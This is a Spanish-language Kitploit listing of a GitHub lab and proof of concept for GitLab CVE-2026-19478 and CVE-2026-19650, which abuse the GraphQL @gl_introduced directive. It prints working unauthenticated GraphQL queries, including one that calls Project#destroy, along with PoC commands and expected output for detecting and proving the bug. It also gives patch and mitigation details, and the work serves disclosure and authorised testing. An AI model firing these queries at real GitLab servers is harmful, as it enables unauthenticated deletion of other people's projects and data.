Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
gitlab-cve-2026-19478-lab — Laboratorio A/B reproducible + PoC seguro para GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) | Kitploit
Herramientas/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsSeguridad WebPruebas de PenetraciónLabs y Práctica
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

Laboratorio A/B reproducible + PoC seguro para GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)

Ver Repositorio
10311hace 26 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-19478 — Invocación arbitraria de métodos sin autenticación mediante @gl_introduced de GitLab GraphQL (laboratorio de validación + PoC)

Laboratorio A/B reproducible y PoC seguro para CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Crítico). Un atacante no autenticado puede invocar métodos Ruby arbitrarios de 0 argumentos sobre objetos de dominio resueltos por GraphQL — p. ej. llamar a Project#destroy para eliminar un proyecto público sin credenciales.

También incluye un PoC para el CVE-2026-19650 relacionado (intercambio de consultas multiplex de GraphQL) corregido en la misma versión.

Solo para pruebas de seguridad autorizadas / educación. Todo se ejecuta contra tus propios contenedores locales.


1. La vulnerabilidad

GitLab incluye una directiva de cliente GraphQL @gl_introduced(version: "X.Y.Z") (compatibilidad hacia delante para despliegues continuos). Cuando una consulta nombra un campo con una versión más reciente que la del servidor en ejecución, un trazador () lo elimina antes de la , de modo que la consulta se valida, y luego vuelve a ejecutar el documento en tiempo de ejecución y deja que los campos desconocidos se resuelvan mediante un respaldo.

Gitlab::Graphql::VersionFilter::IntroducedTracer
validación estática
original

El bug está en el respaldo (lib/gitlab/graphql/version_filter/future_field_fallback.rb, antes del parche):

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

Un GraphQL::Schema::Field sin resolver es resuelto por graphql-ruby llamando a object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb: la rama respond_to?(@method_sym) → public_send se ejecuta antes de que se consulte fallback_value, por lo que fallback_value: nil era código muerto). Por lo tanto, bajo @gl_introduced, el cliente elige un nombre de campo igual a cualquier método de 0 argumentos del objeto actualmente resuelto, y el servidor lo invoca.

Resuelve un proyecto público, solicita un «campo futuro» llamado destroy → el servidor ejecuta Project#destroy.

  • Impacto: modificación/eliminación no autenticada de proyectos públicos y datos de usuario (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • Afectados: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • Corregido: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — el respaldo ahora usa un Resolvers::NilResolver explícito que devuelve nil y nunca llama a un método.

Restricciones del desencadenante (aprendidas empíricamente)

  1. @gl_introduced(version:) debe ser mayor que la versión del servidor (usa 99.0.0).
  2. El nombre del campo es el nombre exacto del método, literal (snake_case tal como se define en Ruby, p. ej. to_param, destroy).
  3. La selección principal necesita ≥1 campo hermano real (p. ej. id); de lo contrario, el documento filtrado es un conjunto de selección vacío y GitLab devuelve un error de validación "Field must have selections".

2. Inicio rápido (laboratorio A/B: 19.2.2 vulnerable vs 19.2.4 parcheado)

Requisitos: Docker + docker compose, ~8 GB de RAM libre, Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh muestra, por instancia: la URL base, la ruta del proyecto público sembrado (root/pub) y un PAT de administrador.


3. Ejecutar el PoC

3a. Detección (SEGURO, no destructivo — predeterminado)

Usa la primitiva de llamada a método con un método inofensivo (to_param). No se modifican datos.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

Resultado esperado:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

vs. en la instancia parcheada:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. Demostrar el impacto destructivo (OPCIONAL — elimina un proyecto desechable que crea él mismo)

Crea su propio proyecto público desechable mediante la API REST (necesita el token de administrador de setup.sh), luego lo elimina a través del ataque GraphQL no autenticado y confirma que el proyecto ha desaparecido.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

Resultado esperado (vulnerable):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

En la instancia parcheada, la misma ejecución informa que el proyecto sigue devolviendo 200 OK y que destroy es null.

3c. CVE-2026-19650 relacionado (intercambio de consultas multiplex) — SEGURO

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. Probar contra tu propia instancia

Apunta --url a cualquier GitLab que estés autorizado a probar y --project a un proyecto público en él:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

La detección no es destructiva. No uses --prove-destroy contra nada que no sea tuyo.


5. Remediación

Actualiza a 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 o posterior. El parche enruta el respaldo a través de Resolvers::NilResolver (devuelve nil, nunca invoca un método del objeto). Si no puedes actualizar de inmediato, bloquea la directiva @gl_introduced / la ruta del filtro de versión en un proxy, o restringe el acceso GraphQL no autenticado.

6. Archivos

ArchivoPropósito
docker-compose.ymlInicia 19.2.2-ce vulnerable (:8222) + 19.2.4-ce parcheado (:8224)
setup.shEspera a que esté listo, siembra el proyecto público root/pub + token de administrador por instancia
poc_cve_2026_19478.pyDetección (segura) + prueba de impacto opcional --prove-destroy
poc_cve_2026_19650.pyDetección de intercambio de consultas multiplex (segura)

7. Notas de seguridad

  • Todo apunta a contenedores que tú ejecutas. El PoC predeterminado no es destructivo.
  • --prove-destroy crea y elimina su propio proyecto desechable; nunca toca root/pub ni tus datos.
  • Reportadores: hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), vía GitLab HackerOne. La divulgación técnica pública estuvo embargada ~90 días después del parche; este laboratorio deriva el mecanismo de los commits públicos de corrección e283c6adeb3d (respaldo) y d2ea4b971a98 (intercambio multiplex).
Descargar herramienta